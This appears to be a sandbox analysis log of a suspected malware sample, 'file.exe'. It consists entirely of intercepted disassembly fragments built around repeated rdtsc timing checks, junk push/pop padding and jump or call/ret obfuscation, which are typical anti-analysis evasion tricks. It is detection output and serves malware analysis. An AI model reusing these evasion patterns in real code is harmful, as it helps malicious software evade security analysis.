Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A53CA second address: 13A53D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A53D0 second address: 13A53FA instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2A68BE4F4Eh 0x00000008 jl 00007F2A68BE4F46h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F2A68BE4F56h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A53FA second address: 13A53FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A587E second address: 13A5895 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BE4F53h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A5895 second address: 13A58E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F2A68BD69DEh 0x0000000c jmp 00007F2A68BD69DBh 0x00000011 popad 0x00000012 pushad 0x00000013 jnc 00007F2A68BD69ECh 0x00000019 jmp 00007F2A68BD69E6h 0x0000001e push ecx 0x0000001f je 00007F2A68BD69D6h 0x00000025 pushad 0x00000026 popad 0x00000027 pop ecx 0x00000028 push eax 0x00000029 pushad 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A81DD second address: 13A81E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8293 second address: 13A8297 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8312 second address: 13A836B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BE4F58h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e jno 00007F2A68BE4F47h 0x00000014 call 00007F2A68BE4F49h 0x00000019 ja 00007F2A68BE4F4Eh 0x0000001f push eax 0x00000020 jmp 00007F2A68BE4F4Fh 0x00000025 mov eax, dword ptr [esp+04h] 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e pop eax 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A836B second address: 13A8371 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8371 second address: 13A8389 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2A68BE4F54h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8389 second address: 13A838D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A838D second address: 13A843C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jno 00007F2A68BE4F5Dh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 jmp 00007F2A68BE4F57h 0x00000019 pop eax 0x0000001a mov ecx, ebx 0x0000001c push 00000003h 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007F2A68BE4F48h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 0000001Dh 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 mov esi, dword ptr [ebp+122D3781h] 0x0000003e push 00000000h 0x00000040 mov dword ptr [ebp+122D1D08h], esi 0x00000046 push 00000003h 0x00000048 jmp 00007F2A68BE4F57h 0x0000004d push 886E84CCh 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 jnp 00007F2A68BE4F46h 0x0000005b jmp 00007F2A68BE4F4Dh 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A843C second address: 13A8488 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jne 00007F2A68BD69D6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e add dword ptr [esp], 37917B34h 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F2A68BD69D8h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f lea ebx, dword ptr [ebp+1246A06Ch] 0x00000035 jng 00007F2A68BD69DAh 0x0000003b push edi 0x0000003c pushad 0x0000003d popad 0x0000003e pop edi 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 pushad 0x00000044 popad 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8488 second address: 13A848D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A848D second address: 13A8492 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8492 second address: 13A8498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A84E1 second address: 13A84E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A84E7 second address: 13A85B7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F2A68BE4F4Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F2A68BE4F48h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 push 00000000h 0x00000029 call 00007F2A68BE4F52h 0x0000002e mov ecx, dword ptr [ebp+122D37DDh] 0x00000034 pop ecx 0x00000035 push 71160F76h 0x0000003a jnl 00007F2A68BE4F50h 0x00000040 xor dword ptr [esp], 71160FF6h 0x00000047 jng 00007F2A68BE4F4Bh 0x0000004d mov edi, 7AFD2A1Eh 0x00000052 pushad 0x00000053 or ecx, 7E1FC0B3h 0x00000059 movsx ecx, ax 0x0000005c popad 0x0000005d push 00000003h 0x0000005f mov dx, ax 0x00000062 push 00000000h 0x00000064 jmp 00007F2A68BE4F58h 0x00000069 push 00000003h 0x0000006b jmp 00007F2A68BE4F58h 0x00000070 call 00007F2A68BE4F49h 0x00000075 push eax 0x00000076 push edx 0x00000077 push ecx 0x00000078 jc 00007F2A68BE4F46h 0x0000007e pop ecx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A85B7 second address: 13A85CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2A68BD69DFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C9462 second address: 13C946D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C946D second address: 13C947F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F2A68BD69D8h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C947F second address: 13C9485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C9485 second address: 13C9489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C75D5 second address: 13C75E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2A68BE4F4Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C78C3 second address: 13C78E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F2A68BD69E8h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C7A44 second address: 13C7A53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BE4F4Ah 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C7A53 second address: 13C7A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2A68BD69E7h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C7E3B second address: 13C7E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C8224 second address: 13C823F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2A68BD69D6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F2A68BD69DFh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C823F second address: 13C8248 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C8248 second address: 13C8271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jnl 00007F2A68BD69DEh 0x0000000e push eax 0x0000000f jmp 00007F2A68BD69E0h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C8271 second address: 13C827A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138D97E second address: 138D988 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138D988 second address: 138D98C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C85C0 second address: 13C85C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C8BA3 second address: 13C8BC0 instructions: 0x00000000 rdtsc 0x00000002 je 00007F2A68BE4F48h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2A68BE4F4Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C8BC0 second address: 13C8BC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C8EA8 second address: 13C8EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jc 00007F2A68BE4F46h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C92D5 second address: 13C92DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138BE7C second address: 138BE81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138BE81 second address: 138BEAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 push edi 0x00000011 pop edi 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop ecx 0x00000015 jmp 00007F2A68BD69E6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138BEAC second address: 138BEB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D0712 second address: 13D0733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F2A68BD69D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2A68BD69E4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D3006 second address: 13D3021 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2A68BE4F55h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D3021 second address: 13D3040 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F2A68BD69DAh 0x00000008 push edx 0x00000009 pop edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2A68BD69DFh 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6ABF second address: 13D6AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F2A68BE4F46h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2A68BE4F58h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6AE6 second address: 13D6AEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6C46 second address: 13D6C64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jno 00007F2A68BE4F4Eh 0x0000000d pushad 0x0000000e jne 00007F2A68BE4F46h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6C64 second address: 13D6CBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 je 00007F2A68BD69DCh 0x0000000f push edi 0x00000010 jmp 00007F2A68BD69E7h 0x00000015 jmp 00007F2A68BD69E9h 0x0000001a pop edi 0x0000001b pushad 0x0000001c jmp 00007F2A68BD69DFh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7290 second address: 13D7299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7299 second address: 13D72B0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F2A68BD69DAh 0x00000008 pop ebx 0x00000009 pushad 0x0000000a jg 00007F2A68BD69D6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D8390 second address: 13D83BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2A68BE4F51h 0x00000009 popad 0x0000000a popad 0x0000000b add dword ptr [esp], 43244B47h 0x00000012 or edi, dword ptr [ebp+122D35A1h] 0x00000018 push 63D63667h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D83BE second address: 13D83C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F2A68BD69D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D83C9 second address: 13D83CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D8523 second address: 13D852E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F2A68BD69D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D852E second address: 13D8533 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D86F0 second address: 13D86F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D86F6 second address: 13D86FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D89D4 second address: 13D89E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BD69DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D8AD8 second address: 13D8AF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2A68BE4F4Fh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007F2A68BE4F46h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D8AF8 second address: 13D8B14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BD69E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D9069 second address: 13D9071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D912C second address: 13D914F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BD69E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a mov dword ptr [ebp+122D344Fh], esi 0x00000010 nop 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D914F second address: 13D9153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D9153 second address: 13D9184 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BD69E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e jmp 00007F2A68BD69E0h 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D9184 second address: 13D918A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D94B4 second address: 13D94B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D96DA second address: 13D96F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BE4F51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d push esi 0x0000000e pop esi 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DA59A second address: 13DA5A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DC1C1 second address: 13DC224 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F2A68BE4F48h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 jmp 00007F2A68BE4F4Ch 0x0000002a push 00000000h 0x0000002c jmp 00007F2A68BE4F56h 0x00000031 push 00000000h 0x00000033 mov esi, dword ptr [ebp+122D3297h] 0x00000039 xchg eax, ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c push ebx 0x0000003d jc 00007F2A68BE4F46h 0x00000043 pop ebx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DBF69 second address: 13DBF7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2A68BD69DCh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DCCC9 second address: 13DCD26 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2A68BE4F4Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F2A68BE4F48h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 or esi, dword ptr [ebp+122D3731h] 0x0000002b push 00000000h 0x0000002d mov edi, dword ptr [ebp+122D3621h] 0x00000033 push 00000000h 0x00000035 jmp 00007F2A68BE4F54h 0x0000003a xchg eax, ebx 0x0000003b jc 00007F2A68BE4F50h 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DD7F8 second address: 13DD7FE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DD582 second address: 13DD588 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DD7FE second address: 13DD83D instructions: 0x00000000 rdtsc 0x00000002 js 00007F2A68BD69D8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f xor dword ptr [ebp+122D1D08h], edi 0x00000015 push 00000000h 0x00000017 cmc 0x00000018 push 00000000h 0x0000001a pushad 0x0000001b sub esi, dword ptr [ebp+122D372Dh] 0x00000021 mov edx, 3A94850Bh 0x00000026 popad 0x00000027 xchg eax, ebx 0x00000028 push ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F2A68BD69E4h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DE44C second address: 13DE451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2116 second address: 13E211C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E4F87 second address: 13E4FA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BE4F54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F2A68BE4F4Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DF7DC second address: 13DF7E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E40B4 second address: 13E40B9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DF7E0 second address: 13DF7E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E5F30 second address: 13E5F3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
